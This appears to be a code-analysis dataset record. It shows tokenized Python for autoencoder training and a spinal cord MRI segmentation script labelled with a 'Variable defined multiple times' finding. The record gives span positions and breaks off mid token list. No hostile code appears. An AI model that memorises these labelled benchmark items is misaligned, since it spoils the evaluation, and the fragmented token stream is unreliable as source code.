"No", "\\u", "Transpose", "_", "(_", "AE", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dataset_", "=_", "self_", "._", "build", "\\u", "dataset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "learn", "ing", "\\u", "rule_", "=_", "self_", "._", "build", "\\u", "learn", "ing", "\\u", "rule_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "learn", "\\u", "method_", "=_", "self_", "._", "build", "\\u", "learn", "ing", "\\u", "method_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "state_", "._", "num", "\\u", "layers_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "self_", "._", "build", "\\u", "one", "\\u", "hid", "\\u", "model", "\\u", "no", "\\u", "transpose_", "(_", "dataset_", "._", "feature", "\\u", "size_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "num", "\\u", "layers_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "self_", "._", "build", "\\u", "two", "\\u", "hid", "\\u", "model", "\\u", "no", "\\u", "transpose_", "(_", "dataset_", "._", "feature", "\\u", "size_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "num", "\\u", "layers_", "==_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "self_", "._", "build", "\\u", "three", "\\u", "hid", "\\u", "model", "\\u", "no", "\\u", "transpose_", "(_", "dataset_", "._", "feature", "\\u", "size_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "=_", "self_", "._", "build", "\\u", "database_", "(_", "dataset_", ",_", "learn", "ing", "\\u", "rule_", ",_", "learn", "\\u", "method_", ",_", "model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "=_", "self_", "._", "build", "\\u", "log_", "(_", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dataset_", "._", "log_", "=_", "log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "train", "\\u", "obj_", "=_", "Train", "Object_", "(_", "log_", "=_", "log_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dataset_", "=_", "dataset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "learn", "ing", "\\u", "rule_", "=_", "learn", "ing", "\\u", "rule_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "learn", "ing", "\\u", "method_", "=_", "learn", "\\u", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "=_", "model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "train", "\\u", "obj_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "Fin", "e", " ", "Tuni", "ng", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "layer_", "in_", "train", "\\u", "obj_", "._", "model_", "._", "layers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "layer_", "._", "drop", "out", "\\u", "below_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layer_", "._", "noise_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "train", "\\u", "obj_", "._", "setup_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "train", "\\u", "obj_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lau", "ra", "\\u", "No", "\\u", "Transpose", "_", "(_", "AE", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "\\u", "one", "\\u", "hid", "\\u", "model", "\\u", "no", "\\u", "transpose_", "(_", "self_", ",_", "input", "\\u", "dim_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "Auto", "Encoder_", "(_", "input", "\\u", "dim_", "=_", "input", "\\u", "dim_", ",_", "rand", "\\u", "seed_", "=_", "self_", "._", "state_", "._", "model_", "._", "rand", "\\u", "seed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hidden", "1_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "hidden", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h1", "\\u", "mirror_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "h1", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "encode", "\\u", "layer_", "(_", "hidden", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "decode", "\\u", "layer_", "(_", "h1", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "model_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lau", "ra", "\\u", "No", "\\u", "Transpose", "_", "(_", "AE", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "\\u", "two", "\\u", "hid", "\\u", "model", "\\u", "no", "\\u", "transpose_", "(_", "self_", ",_", "input", "\\u", "dim_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "Auto", "Encoder_", "(_", "input", "\\u", "dim_", "=_", "input", "\\u", "dim_", ",_", "rand", "\\u", "seed_", "=_", "self_", "._", "state_", "._", "model_", "._", "rand", "\\u", "seed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hidden", "1_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "hidden", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hidden", "2_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "hidden", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h1", "\\u", "mirror_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "h1", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h2", "\\u", "mirror_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "h2", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "encode", "\\u", "layer_", "(_", "hidden", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "encode", "\\u", "layer_", "(_", "hidden", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "decode", "\\u", "layer_", "(_", "h2", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "decode", "\\u", "layer_", "(_", "h1", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "model_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lau", "ra", "\\u", "No", "\\u", "Transpose", "_", "(_", "AE", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "\\u", "three", "\\u", "hid", "\\u", "model", "\\u", "no", "\\u", "transpose_", "(_", "self_", ",_", "input", "\\u", "dim_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "Auto", "Encoder_", "(_", "input", "\\u", "dim_", "=_", "input", "\\u", "dim_", ",_", "rand", "\\u", "seed_", "=_", "self_", "._", "state_", "._", "model_", "._", "rand", "\\u", "seed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hidden", "1_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "hidden", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hidden", "2_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "hidden", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hidden", "3_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "hidden", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h1", "\\u", "mirror_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "h1", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h2", "\\u", "mirror_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "h2", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h", "3", "\\u", "mirror_", "=_", "self_", "._", "build", "\\u", "layer_", "(_", "self_", "._", "state_", "._", "h", "3", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "encode", "\\u", "layer_", "(_", "hidden", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "encode", "\\u", "layer_", "(_", "hidden", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "encode", "\\u", "layer_", "(_", "hidden", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "decode", "\\u", "layer_", "(_", "h", "3", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "decode", "\\u", "layer_", "(_", "h2", "\\u", "mirror_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add", "\\u", "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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
neuropoly/spinalcordtoolbox/dev/sct_segment_gray_matter_asman/sct_asman_old.py
[ { "content": "#!/usr/bin/env python\n########################################################################################################################\n#\n# Asman et al. groupwise multi-atlas segmentation method implementation\n#\n#\n# ----------------------------------------------------------------------------------------------------------------------\n# Copyright (c) 2014 Polytechnique Montreal <www.neuro.polymtl.ca>\n# Authors: Augustin Roux, Sara Dupont\n# Modified: 2015-03-24\n#\n# About the license: see the file LICENSE.TXT\n########################################################################################################################\n\n# TODO change 'target' by 'input'\n# TODO : make it faster\n\n# import os\n# import sys\n# import numpy as np\n# import matplotlib.pyplot as plt\n\nfrom msct_pca import PCA\n# from msct_image import Image\n# from msct_parser import *\nfrom msct_gmseg_utils import *\nimport sct_utils as sct\n\nfrom math import sqrt\nfrom math import exp\n# from math import fabs\n\n\n\n\n########################################################################################################################\n# ----------------------------------------------------- Classes ------------------------------------------------------ #\n########################################################################################################################\n\n# ----------------------------------------------------------------------------------------------------------------------\n# MODEL DICTIONARY -----------------------------------------------------------------------------------------------------\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# MODEL DICTIONARY SLICE BY SLICE---------------------------------------------------------------------------------------\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# MODEL ---------------------------------------------------------------------------------------------------------------\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# TARGET SEGMENTATION PAIRWISE -----------------------------------------------------------------------------------------\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# TARGET SEGMENTATION GROUPWISE ----------------------------------------------------------------------------------------\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# GRAY MATTER SEGMENTATION SUPERVISED METHOD ---------------------------------------------------------------------------\n\n\n########################################################################################################################\n# ------------------------------------------------------ MAIN ------------------------------------------------------- #\n########################################################################################################################\n\nif __name__ == \"__main__\":\n param = Param()\n input_target_fname = None\n if param.debug:\n print '\\n*** WARNING: DEBUG MODE ON ***\\n'\n fname_input = param.path_dictionary + \"/errsm_34.nii.gz\"\n fname_input = param.path_dictionary + \"/errsm_34_seg_in.nii.gz\"\n else:\n param_default = Param()\n\n # Initialize the parser\n parser = Parser(__file__)\n parser.usage.set_description('Project all the input image slices on a PCA generated from set of t2star images')\n parser.add_option(name=\"-i\",\n type_value=\"file\",\n description=\"T2star image you want to project\",\n mandatory=True,\n example='t2star.nii.gz')\n parser.add_option(name=\"-dic\",\n type_value=\"folder\",\n description=\"Path to the dictionary of images\",\n mandatory=True,\n example='/home/jdoe/data/dictionary')\n parser.add_option(name=\"-model\",\n type_value=\"multiple_choice\",\n description=\"Load or compute the model\",\n mandatory=True,\n example=['load', 'compute'])\n parser.add_option(name=\"-l\",\n type_value=\"str\",\n description=\"Image containing level labels for the target or str indicating the level\",\n mandatory=False,\n\n example='MNI-Poly-AMU_level_IRP.nii.gz')\n parser.add_option(name=\"-reg\",\n type_value=[[','], 'str'],\n description=\"list of transformations to apply to co-register the dictionary data\",\n mandatory=False,\n default_value=['Affine'],\n example=['SyN'])\n parser.add_option(name=\"-target-reg\",\n type_value='multiple_choice',\n description=\"type of registration of the target to the model space \"\n \"(if pairwise, the registration applied to the target are the same as\"\n \" those of the -reg flag)\",\n mandatory=False,\n default_value='pairwise',\n example=['pairwise', 'groupwise'])\n parser.add_option(name=\"-seg-type\",\n type_value='multiple_choice',\n description=\"type of segmentation (gray matter or white matter)\",\n mandatory=False,\n default_value='wm',\n example=['wm', 'gm', 'gm-model'])\n parser.add_option(name=\"-v\",\n type_value=\"int\",\n description=\"verbose: 0 = nothing, 1 = classic, 2 = expended\",\n mandatory=False,\n default_value=0,\n example='1')\n\n arguments = parser.parse(sys.argv[1:])\n input_target_fname = arguments[\"-i\"]\n param.path_dictionary = arguments[\"-dic\"]\n param.todo_model = arguments[\"-model\"]\n\n if \"-reg\" in arguments:\n param.reg = arguments[\"-reg\"]\n if \"-target-reg\" in arguments:\n param.target_reg = arguments[\"-target-reg\"]\n if \"-seg-type\" in arguments:\n param.seg_type = arguments[\"-seg-type\"]\n if \"-l\" in arguments:\n param.level_fname = arguments[\"-l\"]\n if \"-v\" in arguments:\n param.verbose = arguments[\"-v\"]\n\n gm_seg_method = GMsegSupervisedMethod(input_target_fname, gm_seg_param=param)\n\n if param.verbose == 2:\n gm_seg_method.show()", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "fname_input ", "start_line": 2184, "start_column": 8, "end_line": 2184, "end_column": 19 } ]
[ { "span": "fname_input ", "start_line": 2185, "start_column": 8, "end_line": 2185, "end_column": 19 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "As", "man", " ", "et", " ", "al", ".", " ", "group", "wis", "e", " ", "multi", "-", "atlas", " ", "segmentation", " ", "method", " ", "implementation_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2014", " ", "Poly", "technique", " ", "Mont", "real", " ", "<", "www", ".", "neuro", ".", "poly", "mt", "l", ".", "ca", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Author", "s", ":", " ", "August", "in", " ", "Rou", "x", ",", " ", "Sar", "a", " ", "Dup", "ont", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Modifie", "d", ":", " ", "201", "5", "-0", "3", "-", "24_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Abo", "ut", " ", "the", " ", "license", ":", " ", "see", " ", "the", " ", "file", " ", "LICENSE", ".", "TXT", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", " ", "change", " ", "'", "target", "'", " ", "by", " ", "'", "input", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", " ", ":", " ", "make", " ", "it", " ", "faste", "r_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "import", " ", "os_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "import", " ", "sys_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "import", " ", "nump", "y", " ", "as", " ", "np_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "import", " ", "mat", "plotlib", ".", "pypl", "ot", " ", "as", " ", "plt_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "msc", "t", "\\u", "pca_", "import_", "PCA", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "from", " ", "msc", "t", "\\u", "image", " ", "import", " ", "Image_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "from", " ", "msc", "t", "\\u", "parser", " ", "import", " ", "*_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "msc", "t", "\\u", "gm", "seg", "\\u", "utils_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sct", "\\u", "utils_", "as_", "sct", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "math_", "import_", "sqrt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "math_", "import_", "exp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "from", " ", "math", " ", "import", " ", "fabs_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "-----------", " ", "Class", "es", " ", "--------------", "--------------", "--------------", "------------", " ", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "MODEL", " ", "DICT", "ION", "ARY", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "MODEL", " ", "DICT", "ION", "ARY", " ", "SLI", "CE", " ", "BY", " ", "SLI", "CE", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "MODEL", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "-------------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TARGET", " ", "SEGMENT", "ATION", " ", "PAIR", "WI", "SE", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "-----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TARGET", " ", "SEGMENT", "ATION", " ", "GROU", "PW", "ISE", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "GRA", "Y", " ", "MAT", "TER", " ", "SEGMENT", "ATION", " ", "SUPER", "VIS", "ED", " ", "METH", "OD", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "-----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "------------", " ", " ", "MAIN", " ", "--------------", "--------------", "--------------", "-------------", " ", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param_", "=_", "Param_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input", "\\u", "target", "\\u", "fname_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "param_", "._", "debug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'\\\\", "n", "***", " ", "WARN", "ING", ":", " ", "DEBU", "G", " ", "MODE", " ", "ON", " ", "***", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fname", "\\u", "input_", "=_", "param_", "._", "path", "\\u", "dictionary_", "+_", "\"/", "err", "sm", "\\u", "34.", "ni", "i", ".", "gz", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fname", "\\u", "input_", "=_", "param_", "._", "path", "\\u", "dictionary_", "+_", "\"/", "err", "sm", "\\u", "3", "4", "\\u", "seg", "\\u", "in", ".", "ni", "i", ".", "gz", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param", "\\u", "default_", "=_", "Param_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Initializ", "e", " ", "the", " ", "parser_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "=_", "Parser_", "(_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "usage_", "._", "set\\u", "description_", "(_", "'", "Project", " ", "all", " ", "the", " ", "input", " ", "image", " ", "slice", "s", " ", "on", " ", "a", " ", "PCA", " ", "generat", "ed", " ", "from", " ", "set", " ", "of", " ", "t2", "star", " ", "images", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "name_", "=_", "\"-", "i", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type", "\\u", "value_", "=_", "\"", "file", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "T2", "star", " ", "image", " ", "you", " ", "want", " ", "to", " ", "project", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "example_", "=_", "'", "t2", "star", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "name_", "=_", "\"-", "dic", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type", "\\u", "value_", "=_", "\"", "folder", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "Path", " ", "to", " ", "the", " ", "dictionar", "y", " ", "of", " ", "images", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "example_", "=_", "'/", "home", "/", "jd", "oe", "/", "data", "/", "dictionar", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "name_", "=_", "\"-", "model", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type", "\\u", "value_", "=_", "\"", "multiple", "\\u", "choice", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "Load", " ", "or", " ", "compute", " ", "the", " ", "model", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "example_", "=_", "[_", "'", "load", "'_", ",_", "'", "compute", "'_", "]_", 